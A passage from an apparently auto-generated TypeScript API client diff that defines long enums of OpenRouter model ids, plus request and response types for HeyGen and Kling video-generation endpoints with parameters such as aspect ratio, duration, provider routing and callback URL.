'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosHeygenHeygenVideo1RequestModelEnumKey = + (typeof openrouterPostVideosHeygenHeygenVideo1RequestModelEnum)[keyof typeof openrouterPostVideosHeygenHeygenVideo1RequestModelEnum] + +export const openrouterPostVideosHeygenHeygenVideo1RequestResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', + '2K': '2K', +} as const + +export type OpenrouterPostVideosHeygenHeygenVideo1RequestResolutionEnumKey = + (typeof openrouterPostVideosHeygenHeygenVideo1RequestResolutionEnum)[keyof typeof openrouterPostVideosHeygenHeygenVideo1RequestResolutionEnum] + +/** + * @description HeyGen: HeyGen Video (heygen/heygen-video-1) — model-constrained video generation request. HeyGen Video is a general-purpose video generation model from HeyGen. It renders short clips with synthesized audio (dialogue, ambience, and sound effects) in a single call, working from a text... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosHeygenHeygenVideo1Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosHeygenHeygenVideo1RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosHeygenHeygenVideo1RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosHeygenHeygenVideo1RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: prompt_enhancement. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosHeygenHeygenVideo1RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosHeygenHeygenVideo1Options = { + body: OpenrouterPostVideosHeygenHeygenVideo1Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosHeygenHeygenVideo1Responses = { + '200': OpenrouterPostVideosHeygenHeygenVideo1Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosHeygenHeygenVideo1Response = + OpenrouterPostVideosHeygenHeygenVideo1Status200 + +export const openrouterPostVideosKwaivgiKlingV30ProStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30ProStatus200StatusEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30ProStatus200StatusEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30ProStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingV30ProStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosKwaivgiKlingV30ProStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosKwaivgiKlingV30ProRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30ProRequestAspectRatioEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30ProRequestAspectRatioEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30ProRequestAspectRatioEnum] + +export const openrouterPostVideosKwaivgiKlingV30ProRequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30ProRequestDurationEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30ProRequestDurationEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30ProRequestDurationEnum] + +export const openrouterPostVideosKwaivgiKlingV30ProRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 